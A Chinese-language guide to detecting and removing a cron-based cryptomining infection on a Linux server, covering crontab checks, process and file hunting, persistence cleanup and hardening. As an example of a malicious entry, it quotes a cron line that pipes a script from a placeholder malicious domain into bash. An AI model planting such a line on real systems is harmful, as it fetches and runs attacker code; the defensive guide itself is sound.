服务器被植入定时任务挖矿,如何彻底清除?
发现服务器不对劲?先别慌
突然发现服务器卡顿严重,用 top 一看 CPU 占用飙到 100%,而且名字很陌生(比如 xmrig、kdevtmpfsi 或一串乱码)。
别急,这很可能是被植入了定时任务挖矿脚本。
挖矿病毒会通过弱口令、漏洞或插件后门进来,接着给自己加上定时任务,哪怕你杀了进程,过几分钟它又自动复活。
本文就教你从检查定时任务开始,一步步彻底清除挖矿脚本。
第一步:准备工作
动手之前,建议先做两件事:
- 备份关键数据:如果你有重要业务数据,先快照或拷贝一份到安全位置。
- 登录方式:通过 SSH 用 root 账号登录(普通用户可能没权限查看所有定时任务)。
准备好后,开始动手。
第二步:揪出所有潜伏的定时任务
挖矿脚本最常用的持久化手段就是 crontab。
用以下命令查看当前用户的定时任务:
crontab -l
如果返回空,别放松。
系统还有全局定时任务,重点检查这几个文件:
cat /etc/crontab
ls /etc/cron.d/
ls /var/spool/cron/crontabs/
另外,很多挖矿脚本会躲在 /etc/cron.hourly/、/etc/cron.daily/ 等路径下。
运行 ls -la /etc/cron* 看看有没有异常脚本。
常见恶意定时任务示例:
*/5 * * * * curl -s http://恶意域名/x.sh | bash
*/15 * * * * /tmp/.systemd/update.sh
看到这样的内容,立刻记录下域名或路径,下一步就要追查并删除。
第三步:定位挖矿进程和恶意文件
先把挖矿进程抓住:
top -c # 按 P 按 CPU 排序,记下 PID
比如 PID 是 12345,用 ls -l /proc/12345/exe 查看执行文件路径。
然后用 kill -9 12345 强杀进程。
但先别急着关终端——我们需要找到文件本体。
通常挖矿脚本会藏在这些位置:
/tmp/下以.开头的隐藏目录(如/tmp/.X11-unix/)/var/tmp/下的随机名字文件夹/root/、/home/下的可疑隐藏文件- 甚至伪装成系统命令如
/usr/bin/sshd或/lib/systemd/systemd(用file命令检查是否为 ELF 二进制)
建议用 find 扫一遍近期修改的可疑文件:
find / -type f -name "*.sh" -mtime -3 2>/dev/null | grep -v -E "^(/proc|/sys|/dev)"
另外,很多挖矿病毒会创建后门用户或用 SSH 密钥持久化。
检查 /etc/passwd 里有没有陌生 uid=0 的用户,以及 /root/.ssh/authorized_keys 里是否有多余的公钥。
第四步:彻底清除并踩住复活点
杀了进程、删了定时任务还不够,因为很多挖矿脚本有守护进程或 inotify 监控,一发现 crontab 被删就重新写回去。
所以必须按顺序操作:
- 清除所有发现的定时任务:用
crontab -r清空当前用户,并手动删除/etc/crontab、/etc/cron.d/下的恶意条目。 - 杀掉所有关联进程:用
pkill -f 恶意关键词或ps aux | grep 恶意名 | awk '{print $2}' | xargs kill -9。 - 删除恶意文件:找到后彻底删除
rm -rf /tmp/.恶意目录,如果提示“权限不足”则先用chattr -i去掉不可变属性。 - 清理后门:删除
/root/.ssh/authorized_keys里的陌生公钥,或者直接禁用密码登录改用密钥。 - 封堵入口:检查
/etc/ld.so.preload文件是否被植入,如果有则清空;检查系统有无可疑的定时器(systemctl list-timers)、systemd服务(systemctl list-units --state=running)。
还有一个隐藏极深的地方:/etc/rc.local、/etc/init.d/ 下的启动脚本,以及 .bashrc、.profile 等用户配置文件。
用 grep -r "恶意域名" /etc/ /root/ /home/ 2>/dev/null 全局搜索一下。
第五步:验证清理效果并加固
完成清理后,重启服务器或手动重启受影响的服务(比如 systemctl restart crond)。
然后持续观察一段时间:
watch -n 3 'ps aux --sort=-%cpu | head -10'
同时检查 crontab 是否又出现了恶意任务:
crontab -l && cat /etc/crontab
如果一切正常,建议做以下加固:
- 修改所有常用密码(SSH、数据库、面板)为高复杂度密码
- 升级系统软件包和 web 应用,修复已知漏洞
- 安装 Fail2Ban 或云平台的安全组限制暴力破解
- 关闭不需要的端口和 root 远程登录
高频问题与避坑
Q:为什么删了定时任务,过一会又出现了? 答:挖矿病毒通常有多个复活机制。
请检查 /etc/ld.so.preload 是否被劫持、是否有隐藏的 systemd timer、以及 /tmp 下是否有监控文件变化的后门脚本。
Q:误删了系统文件怎么办? 答:操作前先备份。
如果已经删了,可以通过 yum/dnf 或 apt 重新安装对应软件包来恢复。
Q:进程杀不掉怎么办? 答:可能进程处于 D 状态(磁盘不可中断等待),重启服务器即可。
如果重启后依然出现,说明启动项没清理干净,回头重点检查 systemd 服务和 cron。
Q:怎么预防下次不被植入? 答:除了加固密码,建议关闭匿名 FTP、Redis 等未授权访问服务,定期用 chkrootkit 或 rkhunter 扫描系统。
如果你正在处理服务器被植入定时任务挖矿的问题,建议先按本文步骤完整执行,再根据自己的环境做微调。
遇到异常时,优先回看避坑和高频问题部分,多数情况下都能找到原因。
清理干净后,务必做好日常监控和日志审计,不给挖矿脚本第二次机会。